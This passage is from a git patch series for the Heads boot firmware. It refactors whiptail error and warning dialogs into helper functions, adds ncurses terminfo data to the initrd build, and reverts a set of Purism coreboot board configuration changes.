Unable to mount /boot' \ + whiptail_error --title 'ERROR: Unable to mount /boot' \ --msgbox "Unable to mount /boot" 0 80 die "Unable to mount /boot" fi @@ -65,7 +65,7 @@ check_root_checksums() { # check that root hash file exists if [ ! -f ${HASH_FILE} ]; then - if (whiptail $BG_COLOR_WARNING --title 'WARNING: No Root Hash File Found' \ + if (whiptail_warning --title 'WARNING: No Root Hash File Found' \ --yesno "\nIf you just enabled root hash checking feature, \nthen you need to create the initial hash file. \nOtherwise, This could be caused by tampering. @@ -81,7 +81,7 @@ check_root_checksums() { echo "+++ Checking root hash file signature " if ! sha256sum `find /boot/kexec*.txt` | gpgv /boot/kexec.sig - > /tmp/hash_output; then ERROR=`cat /tmp/hash_output` - whiptail $BG_COLOR_ERROR --title 'ERROR: Signature Failure' \ + whiptail_error --title 'ERROR: Signature Failure' \ --msgbox "The signature check on hash files failed:\n${CHANGED_FILES}\nExiting to a recovery shell" 0 80 unmount_root_device die 'Invalid signature' @@ -94,7 +94,7 @@ check_root_checksums() { grep -E -v '^[+-]{3}|[@]{2} ' /tmp/new_file_diff > /tmp/new_file_diff2 # strip any output that's not a file mv /tmp/new_file_diff2 /tmp/new_file_diff CHANGED_FILES_COUNT=$(wc -l /tmp/new_file_diff | cut -f1 -d ' ') - whiptail $BG_COLOR_ERROR --title 'ERROR: Files Added/Removed in Root ' \ + whiptail_error --title 'ERROR: Files Added/Removed in Root ' \ --msgbox "${CHANGED_FILES_COUNT} files were added/removed in root!\n\nHit OK to review the list of files.\n\nType \"q\" to exit the list and return to the menu." 0 80 echo "Type \"q\" to exit the list and return to the menu." >> /tmp/new_file_diff @@ -131,7 +131,7 @@ check_root_checksums() { else CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':' | tee -a /tmp/hash_output_mismatches) CHANGED_FILES_COUNT=$(wc -l /tmp/hash_output_mismatches | cut -f1 -d ' ') - whiptail $BG_COLOR_ERROR --title 'ERROR: Root Hash Mismatch' \ + whiptail_error --title 'ERROR: Root Hash Mismatch' \ --msgbox "${CHANGED_FILES_COUNT} files failed the verification process!\n\nHit OK to review the list of files.\n\nType \"q\" to exit the list and return to the menu." 0 80 unmount_root_device @@ -431,7 +431,7 @@ while true; do if ! grep -q /boot /proc/mounts ; then if ! mount -o ro /boot; then unmount_root_device - whiptail $BG_COLOR_ERROR --title 'ERROR: Unable to mount /boot' \ + whiptail_error --title 'ERROR: Unable to mount /boot' \ --msgbox "Unable to mount /boot" 0 80 die "Unable to mount /boot" fi diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index c6d68efb1..3f91edcc9 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -2,6 +2,7 @@ # Retrieve the sealed TOTP secret and initialize a USB Security Dongle with it . /etc/functions +. /etc/gui_functions HOTP_SECRET="/tmp/secret/hotp.key" HOTP_COUNTER="/boot/kexec_hotp_counter" @@ -13,7 +14,7 @@ mount_boot() # Mount local disk if it is not already mounted if ! grep -q /boot /proc/mounts; then if ! mount -o ro /boot; then - whiptail $BG_COLOR_ERROR --title 'ERROR' \ + whiptail_error --title 'ERROR' \ --msgbox "Couldn't mount /boot.\n\nCheck the /boot device in configuration settings, or perform an OEM reset." 0 80 return 1 fi diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 67376ea2f..5b46acb5e 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -23,17 +23,53 @@ mount_usb() # Mount the USB boot device mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) if [ $USB_FAILED -ne 0 ]; then - whiptail $BG_COLOR_ERROR --title 'USB Drive Missing' \ + whiptail_error --title 'USB Drive Missing' \ --msgbox "Insert your USB drive and press Enter to continue." 0 80 mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) if [ $USB_FAILED -ne 0 ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: Mounting /media Failed' \ + whiptail_error --title 'ERROR: Mounting /media Failed' \ --msgbox "Unable to mount USB device" 0 80 exit 1 fi fi } +# -- Display related functions -- +# Produce a whiptail prompt with 'warning' background, works for fbwhiptail and newt +whiptail_warning() { + if [ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_WARNING "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_WARNING" whiptail "$@" + fi +} + +# Produce a whiptail prompt with 'error' background, works for fbwhiptail and newt +whiptail_error() { + if [ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_ERROR "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_ERROR" whiptail "$@" + fi +} + +# Produce a whiptail prompt of the given type - 'error', 'warning', or 'normal' +whiptail_type() { + local TYPE="$1" + shift + case "$TYPE" in + error) + whiptail_error "$@" + ;; + warning) + whiptail_warning "$@" + ;; + normal) + whiptail "$@" + ;; + esac +} + # Create display text for a size in bytes in either MB or GB, unit selected # automatically, rounded to nearest display_size() { @@ -107,7 +143,7 @@ file_selector() done < "$FILE_LIST" if [ "${#CHOICE_ARGS[@]}" -eq 0 ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: No Files Found' \ + whiptail_error --title 'ERROR: No Files Found' \ --msgbox "No Files found matching the pattern. Aborting." 0 80 exit 1 fi @@ -144,7 +180,7 @@ show_system_info() cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') kernel=$(uname -s -r) - whiptail $BG_COLOR_MAIN_MENU --title 'System Info' \ + whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 } diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 7704620bb..30e0c4ab9 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -129,7 +129,7 @@ interactive_prepare_thumb_drive() if [ -z "$DEVICE" ]; then #warn user to disconnect all external drives if [ -x /bin/whiptail ]; then - whiptail $BG_COLOR_WARNING --title "WARNING: Disconnect all external drives" --msgbox \ + whiptail_warning --title "WARNING: Disconnect all external drives" --msgbox \ "WARNING: Please disconnect all external drives before proceeding.\n\nHit Enter to continue." 0 80 \ || die "User cancelled wiping and repartitioning of $DEVICE" else @@ -206,7 +206,7 @@ confirm_thumb_drive_format() MSG="WARNING: Wiping and repartitioning $DEVICE ($DISK_SIZE_DISPLAY) with $LUKS_SIZE_MB MB\n assigned to private LUKS ext4 partition,\n rest assigned to exFAT public partition.\n\nAre you sure you want to continue?" if [ -x /bin/whiptail ]; then - whiptail $BG_COLOR_WARNING --title "WARNING: Wiping and repartitioning $DEVICE ($DISK_SIZE_DISPLAY)" --yesno \ + whiptail_warning --title "WARNING: Wiping and repartitioning $DEVICE ($DISK_SIZE_DISPLAY)" --yesno \ "$MSG" 0 80 else echo -e -n "$MSG" diff --git a/initrd/init b/initrd/init index 0bf166578..8eccbff0b 100755 --- a/initrd/init +++ b/initrd/init @@ -106,8 +106,8 @@ if [ -x /bin/fbwhiptail ]; then export BG_COLOR_WARNING="${CONFIG_WARNING_BG_COLOR:-"--background-gradient 0 0 0 150 125 0"}" export BG_COLOR_ERROR="${CONFIG_ERROR_BG_COLOR:-"--background-gradient 0 0 0 150 0 0"}" else - export BG_COLOR_WARNING="${CONFIG_WARNING_BG_COLOR:-""}" - export BG_COLOR_ERROR="${CONFIG_ERROR_BG_COLOR:-""}" + export TEXT_BG_COLOR_WARNING="${CONFIG_WARNING_TEXT_BG_COLOR:-"yellow"}" + export TEXT_BG_COLOR_ERROR="${CONFIG_ERROR_TEXT_BG_COLOR:-"red"}" fi if [ "$CONFIG_TPM" = "y" ]; then From 6e148cb7f287e11f96bed59de2e2af71d0f4a958 Mon Sep 17 00:00:00 2001 From: Matthew Drobnak Date: Wed, 12 Jun 2024 13:42:17 +0000 Subject: [PATCH 156/619] Makefile changes to support putting data into the initrd, such as terminfo. Signed-off-by: Matthew Drobnak --- Makefile | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/Makefile b/Makefile index e10c7b585..4266d89e3 100644 --- a/Makefile +++ b/Makefile @@ -175,11 +175,12 @@ endif # Create a temporary directory for the initrd initrd_dir := $(BOARD) initrd_tmp_dir := $(shell mktemp -d) +initrd_data_dir := $(initrd_tmp_dir)/etc/terminfo/l initrd_lib_dir := $(initrd_tmp_dir)/lib initrd_bin_dir := $(initrd_tmp_dir)/bin modules-y += initrd -$(shell mkdir -p "$(initrd_lib_dir)" "$(initrd_bin_dir)") +$(shell mkdir -p "$(initrd_lib_dir)" "$(initrd_bin_dir)" "$(initrd_data_dir)") # We are running our own version of make, # proceed with the build. @@ -291,6 +292,9 @@ include modules/* define bins = $(foreach m,$1,$(call prefix,$(build)/$($m_dir)/,$($m_output))) endef +define data = +$(foreach m,$1,$(call prefix,$(build)/$($m_dir)/,$($m_data))) +endef define libs = $(foreach m,$1,$(call prefix,$(build)/$($m_dir)/,$($m_libraries))) endef @@ -298,6 +302,7 @@ endef define outputs = $(foreach m,$1,\ $(call bins,$m)\ + $(call data,$m)\ $(call libs,$m)\ ) endef @@ -577,6 +582,11 @@ $(initrd_bin_dir)/$(notdir $1): $1 initrd_bins += $(initrd_bin_dir)/$(notdir $1) endef +define initrd_data_add = +$(initrd_data_dir)/$(notdir $1): $1 + $(call do,INSTALL-DATA,$$(<:$(pwd)/%=%),cp -a --remove-destination "$$<" "$$@") +initrd_data += $(initrd_data_dir)/$(notdir $1) +endef define initrd_lib_add = $(initrd_lib_dir)/$(notdir $1): $1 @@ -622,6 +632,10 @@ $(foreach m, $(bin_modules-y), \ $(call map,initrd_bin_add,$(call bins,$m)) \ ) +# Install the data for every module that we have built +$(foreach m, $(modules-y), \ + $(call map,initrd_data_add,$(call data,$m)) \ +) # Install the libraries for every module that we have built $(foreach m, $(modules-y), \ $(call map,initrd_lib_add,$(call libs,$m)) \ @@ -727,9 +741,11 @@ $(build)/$(initrd_dir)/heads.cpio: FORCE # $(build)/$(initrd_dir)/tools.cpio: \ $(initrd_bins) \ + $(initrd_data) \ $(initrd_libs) \ $(initrd_tmp_dir)/etc/config \ + $(info Used **BINS**: $(initrd_bins)) $(call do-cpio,$@,$(initrd_tmp_dir)) @$(RM) -rf "$(initrd_tmp_dir)" From 2f8c1a51df9aed48d3d77cd80fb627f032820020 Mon Sep 17 00:00:00 2001 From: Matthew Drobnak Date: Tue, 11 Jun 2024 05:02:48 +0000 Subject: [PATCH 157/619] Build ncurses for terminfo definitions. Signed-off-by: Matthew Drobnak --- modules/ncurses | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 modules/ncurses diff --git a/modules/ncurses b/modules/ncurses new file mode 100644 index 000000000..b1fbb2df8 --- /dev/null +++ b/modules/ncurses @@ -0,0 +1,29 @@ +modules-y += ncurses + +ncurses_depends := $(musl_dep) + +ncurses_version := 6.5 +ncurses_dir := ncurses-$(ncurses_version) +ncurses_tar := ncurses-$(ncurses_version).tar.gz +ncurses_url := https://invisible-island.net/archives/ncurses/ncurses-$(ncurses_version).tar.gz +ncurses_hash := 136d91bc269a9a5785e5f9e980bc76ab57428f604ce3e5a5a90cebc767971cc6 + +ncurses_configure := \ + CFLAGS="-Os" ./configure \ + $(CROSS_TOOLS) \ + --host $(MUSL_ARCH)-elf-linux \ + --without-ada \ + --without-cxx \ + --without-cxx-binding \ + --without-manpages \ + --without-shared + +#build hack: we cp installed terminfo dir back into build dir to pack terminfo in initrd +ncurses_target := $(MAKE_JOBS) \ + $(CROSS_TOOLS) \ + DESTDIR="$(INSTALL)" \ + install.data && \ + cp -vpr $(INSTALL)/usr/share/terminfo "$(build)/$(ncurses_dir)" + +ncurses_data := \ + terminfo/l/linux From b20cde8c61ebe542f96e076ca273bd999f52e9c4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 9 Jul 2024 09:29:37 -0400 Subject: [PATCH 158/619] Revert "Merge pull request #1703 from JonathonHall-Purism/purism_coreboot_24.02.01" This reverts commit 70250317020ec5365925556df18e288a661f3bf6, reversing changes made to 156d2c80dd540b1c73c2754fa751cf9ad2f7c0b4. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 +++---- config/coreboot-librem_11.config | 12 ++++------- config/coreboot-librem_13v2.config | 11 ++++------ config/coreboot-librem_13v4.config | 11 ++++------ config/coreboot-librem_14.config | 14 +++++-------- config/coreboot-librem_15v3.config | 11 ++++------ config/coreboot-librem_15v4.config | 11 ++++------ config/coreboot-librem_l1um_v2.config | 16 +++++++------- config/coreboot-librem_mini.config | 15 +++++--------- config/coreboot-librem_mini_v2.config | 25 +++++++--------------- flake.nix | 1 - modules/coreboot | 30 ++++++++++++++++----------- 12 files changed, 67 insertions(+), 98 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index f142ef669..5b2cc3426 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.1.9 resource_class: large working_directory: ~/heads steps: diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 2ce79c1c6..16b902ffb 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -174,6 +174,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y # CONFIG_ENABLE_UART2 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x28000 +CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -188,7 +189,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -222,7 +222,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="jsl" @@ -254,7 +253,6 @@ CONFIG_SOC_INTEL_JASPERLAKE_DEBUG_CONSENT=0 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -302,7 +300,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y CONFIG_ME_SPEC=13 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -340,6 +337,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y @@ -492,6 +490,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -563,7 +563,6 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V1=y # end of Generic Drivers @@ -590,7 +589,6 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -622,7 +620,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -683,7 +680,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 1b08c9e66..316e8264c 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -182,6 +182,7 @@ CONFIG_BOARD_PURISM_LIBREM13_V2=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -197,7 +198,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +231,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -261,7 +260,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -355,6 +353,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -515,6 +514,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -594,7 +595,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,7 +629,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -662,7 +661,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -724,7 +722,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index e7b5d607b..fac3fa30c 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -182,6 +182,7 @@ CONFIG_BOARD_PURISM_LIBREM13_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -197,7 +198,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +231,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -261,7 +260,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -355,6 +353,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -515,6 +514,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -594,7 +595,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,7 +629,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -662,7 +661,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -724,7 +722,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 02f30d0fe..3d05d26f1 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -151,7 +151,7 @@ CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/ CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set +CONFIG_USE_LEGACY_8254_TIMER=y # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 14" CONFIG_HAVE_IFD_BIN=y @@ -180,6 +180,7 @@ CONFIG_BOARD_PURISM_LIBREM_14=y CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_HEAP_SIZE=0x8000 